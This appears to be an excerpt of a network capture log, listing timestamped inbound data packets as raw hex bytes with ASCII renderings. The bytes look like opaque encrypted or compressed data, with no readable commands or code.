2022-04-20 13:31:40 UTC	123	IN	Data Raw: bb f0 b1 81 35 f8 e8 9e 99 f1 62 f0 3d 98 31 8f 83 d1 12 6a e3 76 b3 d6 4a 19 09 bd bb 34 29 4b 85 24 39 0a 08 2d 4d ec e7 48 fe 40 13 27 21 79 2a 84 d9 ca 37 e9 b7 4e 97 71 d0 7b 41 6c 80 50 1f 4c 5a b9 fc 15 20 b3 5c e0 6b 0e 1f ce 05 59 6a 2f 89 be 8b 1e 7b a1 0b 3d b9 03 46 3c bc f4 c8 86 30 32 43 e7 ac fb 69 78 6b 5e 67 03 de 03 19 bb 25 52 84 ab 24 99 08 73 19 4c b1 74 de 90 b9 dd 43 36 03 86 04 be 4f 4f b7 6a 4d 15 5f bc d4 68 dd a2 2d 94 a4 6f d9 33 27 e3 4b 74 e0 d0 bc bc b1 34 14 65 19 13 fd 6d 14 11 3d 80 8f 16 d9 66 14 eb d6 ed 7a 62 24 31 66 1c 0e 28 d9 25 f8 bd 39 64 65 98 ff 9d 7f 18 c8 1b a3 be 48 2f d9 99 ac c9 d5 b9 28 0b 3d 85 31 60 11 a0 8b a7 20 c4 2a b3 20 5e 19 4c 42 61 80 47 89 b8 0f 44 75 53 0f c3 25 d0 84 bd ee cc 3c 5a 70 fb 9e Data Ascii: 5b=1jvJ4)K$9-MH@'!y7Nq{AlPLZ \kYj/{=F<02Cixk^g%R$sLtC6OOjM_h-o3'Kt4em=fzb$1f(%9deH/(=1` ^LBaGDuS%<Zp
2022-04-20 13:31:40 UTC	124	IN	Data Raw: 4a e2 fe b1 3c e0 24 b5 75 37 d3 e9 19 1a 08 b7 55 3e cc cd dc 72 87 b0 1b ae 56 31 7f 53 15 90 9c f9 e3 77 b6 43 31 62 07 98 83 88 63 9d d7 a7 20 56 a1 41 03 2c 88 34 f6 9c 39 0f 4d 89 69 79 61 36 34 b6 25 9d 40 38 73 4c b1 bc c2 db 87 36 30 bb c9 9c e8 9b 4a d9 4e 29 22 fc 3d 18 2b 69 73 86 ff 1f 28 2f 49 00 8a d5 0d 12 3c 07 a1 59 d2 24 81 22 4f 42 d2 77 1b 64 61 75 87 14 cf 8a b3 2d a9 95 91 dc 70 e3 97 1c 0a eb 52 7b f9 2a 33 fe ed ee 0f c3 a1 32 4d c2 2c f6 14 e0 85 7e 48 34 77 ab 2f 61 fd 8c e6 f9 03 91 29 67 6f 39 bb 21 56 98 fb 3f 17 2e 7b 51 ab e9 3e 4d 84 ed 16 66 f1 4d 9d a2 c1 5b 2f d3 db 41 ec 59 d7 79 a8 71 f5 2d cf ef b1 8f 15 7f a2 27 5d f2 d6 c2 c4 8f 16 30 76 b7 73 9d fe 37 f5 32 c5 eb f0 f3 61 3e 0f 93 85 95 59 9b 1f 1e 62 76 7c 31 13 Data Ascii: J<$u7U>rV1SwC1bc VA,49Miya64%@8sL60JN)"=+is(/I<Y$"OBwdau-pR{*32M,~H4w/a)go9!V?.{Q>MfM[/AYyq-']0vs72a>Ybv\|1
2022-04-20 13:31:40 UTC	125	IN	Data Raw: b4 28 ce 28 b0 17 7c e7 4d 64 b5 91 53 93 75 ca 52 67 4f 11 da 2b 4f 3b 9d c9 cd c2 89 7f e9 af e7 09 23 f4 81 da 60 eb 90 2d 29 5d 77 86 30 42 2f 4c 2e b4 0f d1 be 86 1b d0 0b 9f fd 6c 92 3b 40 86 d7 f9 4d 8b 5e 03 d7 a0 84 bd 57 15 fd 08 1b 07 8e 52 fa 57 f6 1f 2a eb eb 99 6f 2e ff 61 a6 8e 9f 9a 4f 5a b7 51 b6 1f e5 99 54 80 22 bb c8 77 20 48 6e 4c d6 8d 93 70 59 16 9b 5e e1 16 ad 2a 21 18 a1 a5 26 14 5b df 3f c6 c4 0c b2 a2 e6 c0 66 c0 5b c7 86 ee d9 e0 82 e4 06 74 7b 14 0f bb 79 af cb 12 54 e0 7a cd 2a 83 86 60 8e 14 5d 9e de 20 50 12 16 30 c7 a1 10 53 e8 29 fb 76 0b 6b d2 f0 98 1f e5 9f dd dd bb 8b 30 ea 84 c8 ed f4 ba b6 05 4d 14 be 5c 9c ef 21 16 cf 8a cc 71 86 77 cd 1f 28 e1 4a f1 cc a5 24 a0 5e 35 12 ca 80 1d cf 0b d3 68 a3 ce a0 78 eb b7 df 6e Data Ascii: ((\|MdSuRgO+O;#`-)]w0B/L.l;@M^WRWo.aOZQT"w HnLpY^!&[?f[t{yTz*`] P0S)vk0M\!qw(J$^5hxn
2022-04-20 13:31:40 UTC	126	IN	Data Raw: 67 54 14 0a e8 74 1c 11 3f 8c 77 78 b4 6f 2c 10 3a 1a 94 76 58 06 67 0d 02 22 2f 35 d3 c6 09 65 4d b6 ec 95 5d af dc 71 73 f9 0b 2f d9 95 a0 c4 ce dc ee 1b 37 95 11 6e 18 9e af af 08 df 39 b8 02 1f 29 4e 48 b5 a8 47 84 af d3 44 7c 59 11 d8 2b 4f 39 9d cb cd c2 89 7f e9 ec 18 f6 dc f4 9f da 62 eb 90 2f 2f ad 88 ab 10 7b 9e 60 a5 b0 f1 d0 33 6f 01 c3 02 8c e9 7b 85 d6 4b aa d6 f0 4b f7 2c 03 fb ac ba b4 22 fe 11 fd 02 05 8c 4d f7 a1 e9 cd 0a d6 ea a6 c2 88 f2 72 a8 98 03 95 58 a4 b7 69 a1 13 de 09 54 91 20 85 27 76 0c 41 6a 5a c1 90 91 72 46 14 6f 49 33 15 aa 2c 0e 65 55 5a c8 17 37 ad c3 c7 e2 24 87 a5 f6 26 aa 38 a4 c0 80 c4 c7 3c 99 d4 1d 62 20 1f 37 bd a5 af cb 03 5a fa e8 ee d4 82 ab 61 99 00 73 44 c8 bc 4b 98 53 26 5b b1 05 4e e1 b8 f9 7a 12 6c 44 fe Data Ascii: gTt?wxo,:vXg"/5eM]qs/7n9)NHGD\|Y+O9b//{`3o{KK,"MrXiT 'vAjZrFoI3,eUZ7$&8<b 7ZasDKS&[NzlD
2022-04-20 13:31:40 UTC	127	IN	Data Raw: 14 6a fc 72 e7 d5 05 8f 3a c7 cc 2a a4 3c 47 92 e5 31 e9 39 57 e1 70 c1 5c 4c 84 e7 05 7c de 44 8e 81 c2 4a 25 10 ca bf fc 63 d2 72 81 6f de 90 cb ef a6 aa 29 72 5c 2c 1e a0 ee 49 cc 90 04 3c 72 a4 6f 97 f6 c4 eb 0b 20 fb d9 ee 58 72 1d 99 19 ae 71 85 09 07 47 cd 69 3c 0f 61 be f2 34 ee 29 ec f9 d2 fc a7 ef 2f 0d 7c 1a ba b8 88 0c 75 23 9a a9 9f 41 51 d3 8b ae e9 93 eb a4 91 a9 a4 72 93 87 e9 7d eb 31 9f 24 9b e0 c1 32 02 cd 64 b5 c3 4e 03 10 b3 bc 2d 3b 61 b6 25 15 00 08 2b 4b 37 6e 53 e4 42 05 42 26 69 20 96 30 fb 1e 3f 1e c3 8f 71 c1 7f 7a cf 9d 43 13 64 72 b2 e3 0a c8 28 63 ea 6b 0d 1f cf a3 14 59 9f 90 c7 d2 14 7b ba 29 8d 43 02 6c 17 51 e6 c2 80 4e 72 5c f1 58 e9 4c 6b 46 4c d2 77 20 fc e7 ae 46 1d 88 bd 31 f3 8b 60 3d 30 b9 76 de b9 af 47 50 d3 12 Data Ascii: jr:*<G19Wp\L\|DJ%cro)r\,I<ro XrqGi<a4)/\|u#AQr}1$2dN-;a%+K7nSBB&i 0?qzCdr(ckY{)ClQNr\XLkFLw F1`=0vGP
2022-04-20 13:31:40 UTC	129	IN	Data Raw: d3 ca c9 bb 65 c1 d5 20 bb 7a 88 09 f9 03 de 20 5b 3c 55 38 d3 b4 17 7e 6f 24 e8 76 23 6b d8 ef 88 f2 e0 b4 c5 f3 1d 07 32 ec 96 56 e2 eb a1 a4 1c 45 14 bc 55 90 00 26 ec 4a e3 01 73 87 d5 c3 0f 2c f7 5b e6 10 a1 2b 58 89 c3 99 8f 93 18 d1 b6 d1 6a b7 cb be 4f 6e 49 de 48 33 79 7d c4 2d 3b 41 1b ac 25 7d 6f 7e 05 21 8e 70 e7 3f c2 86 77 a6 9f 31 68 56 30 5e 8f ff e8 f3 fb ad 35 6c 1d 21 60 21 45 2e 03 3b 43 f1 57 3e dd ca 45 4b f7 a8 0d 38 cb 6e 64 45 88 a9 6a e5 f5 e1 ab 57 2a 63 4d 9a 80 87 73 10 cf 9c 01 a0 48 22 1a 01 30 3e e0 0a 22 d4 40 aa 52 e5 70 39 03 40 32 01 57 37 44 6f a7 20 d9 00 98 3e 0c 27 d8 d8 eb 94 5c 45 5f 2c 4d 2a 3c 18 21 1b 1d 5f fe 65 23 2d 5f 10 04 62 62 d5 3d 07 aa 4f ca 72 81 24 44 4b bd 58 1a 64 7a 7d 53 33 fc cd 6f 2c a9 95 9d Data Ascii: e z [<U8~o$v#k2VEU&Js,[+XjOnIH3y}-;A%}o~!p?w1hV0^5l!`!E.;CW>EK8ndEjWcMsH"0>"@Rp9@2W7Do >'\E_,M<!_e#-_bb=Or$DKXdz}S3o,
2022-04-20 13:31:40 UTC	130	IN	Data Raw: f7 b0 74 71 6e 72 58 fc c5 cf 04 07 ba 3f df 99 ba 24 ca 83 fe 04 24 96 61 c8 06 bf 40 4f 25 04 13 3d 1e 54 59 91 bd 74 14 5f 2a d3 f5 d1 bf 2a 01 9d cf c2 2b 37 57 63 72 ff c3 8b a6 a2 33 67 c2 09 14 e4 64 0a 9c 24 96 96 62 8e fb 05 ea d8 f9 7d f4 5a 0b 78 01 28 b9 d1 34 ff 4e 17 62 7a 80 ce 15 57 b0 cc 87 b4 d6 14 31 cf 03 bb df c2 f6 ce f5 3d 8f ef f3 25 8f b9 86 36 52 28 bf 17 52 0f d0 59 b8 9f 75 92 33 c8 50 67 66 22 52 2b 5e 33 1e d7 34 dc 80 60 4d 8f 1f e9 fa cb 11 c9 68 eb 1d 34 37 bc 51 bc a0 7b 9f 57 06 92 71 da bf 86 9d d2 04 80 c5 44 0a c5 41 aa 5b eb 53 fb f8 14 4b bb 96 e2 16 fc 9e e6 05 0b aa 44 77 4e ef fe 06 e7 6d b2 ea 31 6a 63 a9 91 a0 b2 a7 a4 b6 7d 29 16 f1 8e 7b 87 b6 bc 31 69 3c 6b f9 5f de 8d 1e 69 41 1a 54 49 51 05 81 30 2b 56 a0 Data Ascii: tqnrX?$$a@O%=TYt_**+7Wcr3gd$b}Zx(4NbzW1=%6R(RYu3Pgf"R+^34`Mh47Q{WqDA[SKDwNm1jc}){1i<k_iATIQ0+V
2022-04-20 13:31:40 UTC	131	IN	Data Raw: 39 53 13 0e 6e 76 db 37 2f 6f 50 fa 73 9e 32 6d da bf bf 10 77 6c 7c 36 36 eb a2 94 41 8a 9f 82 d8 61 e7 f8 18 48 b0 70 9a fe 28 39 dc a1 e6 23 cf 1e 4e 19 d4 3f f4 d9 c1 68 a5 5f e4 d0 fc 05 60 e0 81 f0 e8 0a 90 f3 d3 c2 2a a5 17 76 91 eb 36 14 29 73 f5 16 e1 35 4d 8e f2 06 5d 50 4b 9d 81 5c 4a 27 17 0d 52 f5 5e cf 63 46 78 fd 3c c4 fe b0 b3 d0 7b d2 91 66 21 f9 9f 4b de 16 2f 79 b7 7a 8c eb 2c e3 31 af fb db 99 ee 3c 09 88 1b 91 56 0a be 1a b5 5e 9b 3c 09 43 b6 c6 3c 6a 3c ee 32 cf 26 a1 33 bd 55 82 1b 97 ad af 51 7c 38 85 b5 97 de ec e4 77 50 e8 b5 e9 a3 87 b4 aa 66 29 90 6c d9 c9 c7 8e 2e 8f 0a cc 0f 09 d7 63 a0 d0 4e 9e ad bb 23 90 14 b7 41 aa 8e 1d c3 34 8a 6c 2c 5b fb 50 05 4d 31 71 a4 39 d9 20 21 25 15 43 bc 69 d0 7b 78 c7 93 8a 10 75 6e 2c f4 0e Data Ascii: 9Snv7/oPs2mwl\|66AaHp(9#N?h_`*v6)s5M]PK\J'R^cFx<{f!K/yz,1<V^<C<j<2&3UQ\|8wPf)l.cN#A4l,[PM1q9 !%Ci{xun,
2022-04-20 13:31:40 UTC	132	IN	Data Raw: a0 ac 83 b4 2b f3 ba 93 8a 39 a9 36 67 08 5c 87 5e f2 8e 9a 6b 42 05 74 5b d4 ea 87 03 17 60 5d 35 de 1c 28 b8 25 1c c3 2a b6 b3 ca d3 47 c3 4d 2f 84 c2 da 29 91 e0 17 73 6c 00 c9 bc 56 ad e0 17 7d b1 9a 3e 2b 85 c5 11 9f 11 7f 78 c5 10 5f 9e d9 30 c7 a0 f2 56 f7 35 c0 4a 0a 7a d2 ed aa 5b e5 b3 d7 b4 c1 03 32 e0 85 dc 6b 5c b6 7f 18 9b 88 9b 43 8b 10 2c 39 d0 9c 09 53 b1 52 d2 07 31 c0 4c c0 5c 90 3a 5e 55 0f 12 50 24 0f 0a 07 c5 71 a7 f4 93 6f e7 4d d9 53 1f f9 7b da 44 49 6e 99 a9 0d d0 79 ef 93 39 8f 5c e7 3b 14 ac 27 21 45 26 6a 69 6e 7e 88 d7 99 f9 fd 8f b9 7d 35 ba 74 09 db fa 1c 08 14 3a 40 2c 03 c8 44 72 86 bb 08 03 86 ea 76 6d a4 81 99 ef dd 11 a6 46 2a 79 b3 a7 86 96 7f df ca 8a 09 5e b7 d7 1a 46 5f 3f e0 0a 02 03 78 82 7f e5 71 23 2b ba 33 01 Data Ascii: +96g\^kBt[`]5(%GM/)slV}>+x_0V5Jz[2k\C,9SR1L\:^UP$qoMS{DIny9\;'!E&jin~}5t:@,DrvmFy^F_?xq#+3
2022-04-20 13:31:40 UTC	134	IN	Data Raw: 5c e3 7d dd fb 5b 86 48 2a 78 2a 8e ce f8 32 49 06 6f 09 71 cd 7e 69 ca 84 52 19 43 63 3d 50 1f 3a 29 4f e6 7a 0b 0e cc 2d 15 d1 2f 80 cc c1 1e 7a a9 23 9f bd c6 89 14 4c f5 c8 80 5f 6b 73 e3 a6 6e 60 69 6d bd ea 59 cf 15 15 90 52 43 88 bd 3b d0 82 9c 14 0f 8b 6d d3 9a a7 5d ae 31 3e 8b 38 33 50 42 b1 4b 6f ea 5e 9a e7 f4 d8 80 f9 9c 8c c2 ca e9 36 1d ff 5a e0 da aa 2d a0 34 71 59 96 a4 94 43 1d 00 3f 96 07 ce b6 26 00 c7 db e8 6b 61 52 f2 66 30 1a 3b d7 22 f9 5c b1 0a 58 9f ee 9f 51 3e 7b 35 61 cb 06 2e d0 87 54 d9 f1 df f4 87 12 8f ef 6e 3e 91 ab a7 29 d8 c7 b9 24 72 0e 41 48 b6 9c a8 85 83 db 7c 7a 69 81 d5 01 5e 33 91 f6 30 c3 9e 72 d1 9e fd f6 dc fa b1 59 68 eb 81 a8 1f a3 76 ab 36 6c 8e 57 33 2e f7 cd 9f 2a 01 c3 03 03 ea 7c aa 6d 41 aa c7 66 52 fd Data Ascii: \}[Hx2Ioq~iRCc=P:)Oz-/z#L_ksn`imYRC;m]1>83PBKo^6Z-4qYC?&kaRf0;"\XQ>{5a.Tn>)$rAH\|zi^30rYhv6lW3.*\|mAfR
2022-04-20 13:31:40 UTC	135	IN	Data Raw: 32 67 ab 8e 86 70 74 01 c6 57 3f 5f a6 cb 01 22 af e9 e1 00 28 0a 43 89 60 ec 8e 32 07 b0 24 06 42 37 7f 49 b8 2a c0 d5 98 29 2d 30 26 98 db 97 44 56 54 2c 5c 21 23 14 df 60 30 40 ef 18 24 3c 57 98 2c ab 66 c8 3b 2f 61 50 fa 73 9a 0a 3e 4b bd b9 75 25 6a 7f 5f 2e e7 b1 95 2d b8 94 9d c9 9f e6 d4 15 19 e3 49 02 c2 62 32 f4 97 f9 31 d6 a2 5d 01 c9 35 02 c9 e4 76 0c 5d 30 5d a7 08 7a f2 87 e6 e8 08 9d d7 c1 fe 33 dd 07 57 98 fc 2e 10 23 68 e6 79 f8 3f 53 7a ec 3a 4f d3 40 8c 8d ea 9c 2e 0f dd 50 f4 3b e3 74 90 70 fc 39 e7 be a2 82 0c 64 d1 21 71 fb ef 5d d2 9b 3e b7 78 a4 74 8a 63 6b ea 27 3a c2 24 f8 70 3f 36 7a 1f 86 55 8f 16 04 7c 7d 6d 2d 02 52 63 f3 18 f6 83 de 2d dc fc b0 cd 09 05 82 11 81 24 b0 5c 76 3a 82 a3 8e 5b 47 32 80 7c f9 ae e4 9d 5e bc a2 ee Data Ascii: 2gptW?_"(C`2$B7I*)-0&DVT,\!#`0@$<W,f;/aPs>Ku%j_.-Ib21]5v]0]z3W.#hy?Sz:O@.P;tp9d!q]>xtck':$p?6zU\|}m-Rc-$\v:[G2\|^
2022-04-20 13:31:40 UTC	136	IN	Data Raw: 07 b0 81 25 3a a4 67 a6 53 da 99 48 24 9a 24 de bf 80 17 eb 33 9f ec 6e 9c f6 4a a3 ef 2c 50 e4 d4 6d 8c aa 91 f7 3a fb 0e 98 b2 15 86 58 c3 88 ec e1 2d d1 c5 82 ea 31 fc 64 9d 85 87 ba 80 a0 b6 7b da 5c f6 91 5e 96 3b a1 59 c6 0d 4b 73 77 07 89 82 7e 50 2d 55 5f cd 1e 90 1c 12 7f 77 80 dd 1d 2e dd 66 c6 ce 2c 84 7b ca d3 50 c0 4a dd ea 5e d8 3e 88 8b 72 60 68 14 22 8e 74 a6 cc 03 49 85 d5 c0 d4 88 c5 29 9f 11 7f 43 d2 37 8c 8d 48 21 cb b1 10 68 ff db 17 83 02 69 dc f9 8e f0 e0 9b 18 da 93 05 12 15 8e db e5 d8 a9 b4 0b 65 cc b5 43 8d 1d 31 3e d7 b6 17 1c 36 76 d2 0d 54 4d 48 e0 cc 9c 2b 5a 4e 1d 03 b1 23 19 d0 1e af c4 a1 df a0 41 e7 4d cf 46 0d 07 cd c5 27 22 29 ac aa 0d d0 49 6f 0b 2f 9a 4e 19 8d c3 8c 6c cf e3 24 b2 43 39 5e 8c ff 86 f2 fb a1 26 6d 31 Data Ascii: %:gSH$$3nJ,Pm:X-1d{\^;YKsw~P-U_w.f,{PJ^>r`h"tI)C7H!hieC1>6vTMH+ZN#AMF'")Io/Nl$C9^&m1
2022-04-20 13:31:40 UTC	137	IN	Data Raw: 98 8a d3 f4 a1 33 3c 0c 8b 2a 7e b9 89 4a 5a 2f 89 d4 93 50 5b 31 81 50 f9 a9 f2 ba ae d1 ae e8 9e 98 f3 61 f9 cf 8f 02 96 1c bb 20 04 db 73 b0 58 d6 0f 17 f3 21 2f 24 73 51 37 36 0a 08 2c 43 a8 83 5a d7 6a 14 4a 25 69 20 e0 19 7e 28 5b c8 4f 97 77 b2 d5 6b ca 8e 2e b5 66 63 b2 d4 b2 34 29 45 e4 01 34 0f c8 29 d0 c5 2d 8f db e9 b1 79 ab 29 b3 0d 01 40 1e 29 3a c9 80 59 67 09 f4 a9 e8 71 66 72 63 14 58 f2 0a 20 d1 2e 43 88 a2 10 ca 9a 62 04 2c 96 36 20 9b 82 57 46 21 19 a7 9d 1b 4b 45 a2 4c 67 18 40 f2 d1 fd ce b9 33 82 ab 36 dc 1f 28 f3 3c 72 e0 da b4 0e b1 3c 67 4f 17 0c c1 80 1d 2c 42 93 f2 38 99 67 10 e5 d6 e1 bd e7 10 0c 67 1e 20 fe d0 34 f5 d0 7d 5b 64 9e ea 93 24 1b ce 1b af c0 0e 5d 6b 9d aa d2 f5 65 ec 0a 37 86 f9 f9 47 3a a4 a7 2a e6 8a ba 08 7a Data Ascii: 3<~JZ/P[1Pa sX!/$sQ76,CZjJ%i ~([Owk.fc4)E4)-y)@):YgqfrcX .Cb,6 WF!KELg@36(<r<gO,B8gg 4}[d$]ke7G:z
2022-04-20 13:31:40 UTC	139	IN	Data Raw: 49 0a b9 02 c5 54 80 0e 12 97 60 0a 3d c2 8c 79 9c 56 29 b2 58 10 50 94 29 4e df eb ae 3b 75 a3 af 6b 4b 71 bc 1d 02 1e 34 59 28 da db 51 6c 9d bb f3 33 6b 0d 66 43 05 26 99 e5 f4 fa af 40 a0 d3 9b 89 87 be 8d 01 c6 a8 17 ac b7 dd 18 3e 1b 6f e0 00 29 22 a1 82 7f ef 58 d0 2b ba 39 6e 9a 3c 6c 47 2b 71 d3 de 99 2b 20 38 ca 8a f8 94 4d 4a 43 d2 4c 06 30 1a 5a 20 1d 5f fa 91 95 21 42 11 0b 62 73 c7 22 39 55 55 d6 7f 90 26 52 9d ae bb 05 5b 78 70 59 20 e5 bd dc d3 a8 b3 b1 da 62 94 53 1a 08 e1 41 62 8f 9a 31 f4 9d ce 90 c7 a9 57 38 73 2e fc c2 d0 10 b1 49 32 5b de ae 62 e1 86 98 55 01 87 23 e8 7f 3b ae 36 45 93 e5 7e 04 37 7b fc 76 f6 07 b3 85 c1 37 77 ba 09 9c 8b c6 28 84 0d db 4b e4 25 b7 c6 92 6b fc 05 7b ed a0 88 1c 32 03 22 71 fb f1 7d d5 80 16 3e 77 bb Data Ascii: IT`=yV)XP)N;ukKq4Y(Ql3kfC&@>o)"X+9n<lG+q+ 8MJCL0Z _!Bbs"9UU&R[xpY bSAb1W8s.I2[bU#;6E~7{v7w(K%k{2"q}>w
2022-04-20 13:31:40 UTC	140	IN	Data Raw: e1 88 a9 b1 e0 34 a7 d3 70 6f d8 9f ae ac 5f d6 ee 0b 3f f4 ae 6e 34 8c 28 10 27 18 2e 6e 85 2b 19 4c 4a 97 06 54 84 a5 ad 7f 78 42 19 af 6a 5f 33 86 d8 20 cc a5 67 de 81 2d 08 dd c7 f0 cb 13 aa 80 25 34 ab 67 ae ea e5 c3 48 2e b0 f3 dc cc 2d 03 c3 09 8e e9 17 38 c7 41 a0 ef 49 56 e4 d8 0b c1 3c e2 4f 3f ea 08 df b1 16 86 58 e2 48 7e 92 99 c5 ed b8 c2 82 f4 72 a4 87 96 04 2b 16 b4 7d bf 2f 45 93 54 9b 02 1c 34 76 06 42 60 c9 69 e2 4c 79 46 03 e0 22 80 15 86 2b 06 40 4c 55 d9 0c 27 ad 2d 38 cf 0a b9 a2 c8 57 47 cf 73 32 85 ee d3 51 4e e5 17 64 7b 19 28 ac 69 a0 cb 03 4a f3 9b c0 f8 b4 a8 71 ec ba 77 52 d4 39 30 ed f6 32 c7 aa 2b e5 f5 24 e2 54 ba 78 d8 e5 9a 8e 2a b2 d1 dd e0 a8 30 ea 84 a5 49 e9 a1 af 27 e0 07 b4 49 a3 a7 22 3a cc b9 1b 60 89 77 c3 08 24 Data Ascii: 4po_?n4('.n+LJTxBj_3 g-%4gH.-8AIV<O?XH~r+}/ET4vB`iLyF"+@LU'-8WGs2QNd{(iJqwR902+$Tx*0I'I":`w$
2022-04-20 13:31:40 UTC	141	IN	Data Raw: c2 59 54 49 da 41 f9 20 09 75 90 6d da 10 de ea b1 85 22 91 5c 26 7b 74 b7 49 c6 8d 07 2a 69 a3 56 7e ef 3a e0 a8 62 ea dc fa 0b 73 1f 99 1b 99 52 ee d3 61 4c 76 6d 3c 09 49 9d f2 74 bf a3 c0 ea d8 f6 0f 98 75 05 82 1f bd d2 b2 5c 7b 2e a1 40 9f 50 51 43 d8 50 e8 bd f0 b0 87 bf 8a 0b 9e 98 e8 e1 b8 31 8e 2c fe 58 c1 1e 01 c4 7b d9 06 2b 33 1a b3 ad 27 24 73 48 64 62 22 2f 23 5c eb c4 26 be 50 16 4c 0d 57 3b 8b df fd 1a d7 06 4e 9d fe 98 7e 69 c8 86 2b 5b 65 63 bc ed 1a 27 2e 67 05 7a 0b 04 47 74 a3 6b 2d f4 97 c0 1e 7f 1c b2 f5 c0 46 41 14 42 e4 c3 0c 0a 78 43 e6 b7 e1 71 65 45 b1 ea 59 d4 2b eb a8 29 49 9f 31 6a d9 95 63 3d d0 89 75 d4 b2 37 47 50 3a 01 84 3d 1e 5c c3 e0 42 74 15 77 45 c2 f2 c4 bb 3b 8c 87 d9 d5 0c 56 35 8d 8a e2 a1 e8 27 a2 37 6e 4f 1e Data Ascii: YTIA um"\&{tI*iV~:bsRaLvm<Itu\{.@PQCP1,X{+3'$sHdb"/#\&PLW;N~i+[ec'.gzGtk-FABxCqeEY+)I1jc=u7GP:=\BtwE;V5'7nO
2022-04-20 13:31:40 UTC	142	IN	Data Raw: ea 58 0c fb 5b 98 f6 97 ec 32 cd da ef 12 c2 26 d4 7b ca 7f 75 59 36 2e 03 07 60 eb a4 55 fb 03 8d 01 71 d0 39 a4 2d 53 89 f7 b2 4e 38 7b ef 02 ac 35 4d 80 5a 79 a2 c1 49 97 29 e9 0f 2d 74 98 40 fd 4b cd 65 96 bd 79 77 cf ef a2 f9 42 73 5c 22 60 f6 ec 4e b5 24 14 2f 72 b5 76 ee 5d 38 ea 2d 13 59 de f8 7a 24 1a ea b1 84 5f 8e 21 be 6d 76 67 14 b8 4b 9d f8 25 e1 9a fb 65 81 fc b6 e7 4b 41 83 1b 92 09 cc 97 6b 29 8f 8b 27 52 5b c6 23 41 ec d5 f0 b0 87 b5 2d b1 9e 98 e0 15 a4 30 8e 2a 53 a9 d3 1a 14 d6 60 65 cf 4a 01 17 a2 bf 19 b1 8e b7 db 28 0c 0e f5 4f e7 6c 5d ea 40 28 2e dc 87 d5 b6 c7 fb 32 34 04 35 a9 70 c1 7a 6a 4e 15 4b 59 9e 63 b8 fc 1d 35 5a e4 e4 7a 01 17 a2 5e 11 69 2f 85 f9 72 1c 7b a1 0b 2a bf 03 4a 0c 29 3b c9 80 59 0b e8 e5 a6 e2 1e c5 6f 49 Data Ascii: X[2&{uY6.`Uq9-SN8{5MZyI)-t@KeywBs\"`N$/rv]8-Yz$_!mvgK%eKAk)'R[#A-0S`eJ(Ol]@(.245pzjNKYc5Zz^i/r{J);YoI
2022-04-20 13:31:40 UTC	143	IN	Data Raw: c7 ce 22 bb ca 14 d1 2d f8 5a d1 81 80 01 84 ed 34 16 62 6e 34 24 8d 78 af e1 12 45 ea 63 c1 d4 93 bc 79 b4 0a 75 55 c9 de 5b b2 46 28 cc a0 04 40 09 25 c4 7e 1c 71 d8 e8 9a 1f e5 9f d3 f0 91 28 d1 e8 f5 98 e4 eb a5 2b b8 67 05 b4 50 bb 12 20 4f c6 b2 01 7b 86 77 c3 11 30 c0 11 e0 c1 ad c4 5f 73 1b 0d d5 93 1f c8 ea c1 4e ae dc a8 1c b5 48 de 46 95 df 4f cd 3e 23 46 0d b2 f3 db 43 64 0b 3c e5 1b 77 3d c6 8f e9 fa 45 26 b0 32 57 4e 88 d3 c1 44 c9 84 3e 56 2e bb 62 26 56 06 1d 2e 1a 3f 6e 21 de db 47 75 7c ab 21 30 50 3f 64 42 92 7f 98 c9 f7 c0 a5 6d 8f 76 e0 ca 87 96 71 02 49 f8 3f 5f b5 a6 5a 28 97 3a e4 9a 02 0a 52 82 6c d5 73 33 c3 ba 33 01 51 3c 6c 50 b1 33 d7 e6 4a 38 26 27 d8 88 f3 8d a2 44 73 22 5b 28 47 5c 20 61 18 d1 49 12 2e 37 4c 06 04 73 66 d3 Data Ascii: "-Z4bn4$xEcyuU[F(@%~q(+gP O{w0_sNHFO>#FCd<w=E&2WND>V.b&V.?n!Gu\|!0P?dBmvqI?_Z(:Rls33Q<lP3J8&'Ds"[(G\ aI.7Lsf
2022-04-20 13:31:40 UTC	145	IN	Data Raw: 1f de 26 88 70 2f 88 c6 3f 1f 57 a9 3b 90 bd 04 56 ea 47 d9 ca 97 54 78 44 ff 58 e9 4c 6b 46 4b c1 ba dc 78 44 a9 29 47 a2 9f 39 da e8 3e 14 23 8d 5f de 9a ae 54 60 32 12 a7 2c 19 4b 4c b0 42 65 02 54 9d d9 f2 c9 bf c2 9c a0 ca c5 38 21 cc 64 8b e1 f6 a9 31 a9 33 60 46 e6 12 d7 7c 37 02 1e 72 8b 02 c5 66 14 e9 ed c7 69 6b 36 51 66 1c 0c 13 d1 34 ff c9 36 62 65 04 ec 95 57 b4 cd 1b b4 d3 23 39 d9 9f a0 ab 63 d4 ee 00 37 8d 9c d0 36 88 ac da 7d cf 39 bc 0b 58 d9 4e 48 b5 f3 d8 85 af d3 44 7c 54 11 d4 3a 5a 5c 43 c4 33 c9 ca 08 d0 9e 12 41 cf ee ba e8 6e fa 85 4a f2 a1 76 a0 53 a9 9a 48 24 a3 f7 0a 90 86 01 c2 2b 8b ec 64 80 ed bc aa c7 f0 82 f7 d4 13 d1 bb 94 cf e4 34 0e e6 06 38 81 43 ef 30 b5 e1 2b cd 31 b0 ec 5e 32 70 ae 84 98 88 4e cb 69 7c b5 01 de 58 Data Ascii: &p/?W;VGTxDXLkFKxD)G9>#_T`2,KLBeT8!d13`F\|7rfik6Qf46beW#9c76}9XNHD\|T:Z\C3AnJvSH$+d48C0+1^2pNi\|X
2022-04-20 13:31:40 UTC	146	IN	Data Raw: d3 1c 98 38 26 21 d9 99 e6 82 4f 40 67 82 4d 2a 3c 18 30 64 03 56 00 1e 0e 26 56 13 00 ec d5 fa 27 18 a1 47 ff 75 90 27 5c b5 bc 93 1c 66 78 7b 43 22 ef a2 8f 28 b5 61 83 f4 69 f6 fc 11 99 e7 45 1b f9 28 22 f1 8d 18 22 e9 ac 4b 1d d9 3f f9 c8 d9 7a 61 b6 33 71 a5 0c 77 37 81 f9 f0 10 82 29 d1 d7 2e 50 3d 7a 9b e2 2e 12 38 6a e8 64 17 35 61 91 ea 3e 71 c2 49 9b 83 4e 74 2f 0f da 2e 0a 4e c4 7e b6 75 e5 28 cf fe a5 9a f4 73 70 2f 02 9a ee 49 cc 84 0f 3c 7d a4 6f 98 f4 c4 eb 0b 33 d2 a8 07 8f ca 02 8a 1a 86 4e 81 1f f3 6e 5a 6e 2b 1a 4c 9d e3 31 fb 81 08 eb f4 fe 9d e0 08 49 7d e4 69 b9 cc 3a 6a 29 83 89 9f 50 40 fc 84 50 d7 bf e1 b5 91 b9 a2 f9 9c 16 55 6d 6f 86 58 39 5f 09 16 93 2a db 77 b2 d7 45 17 18 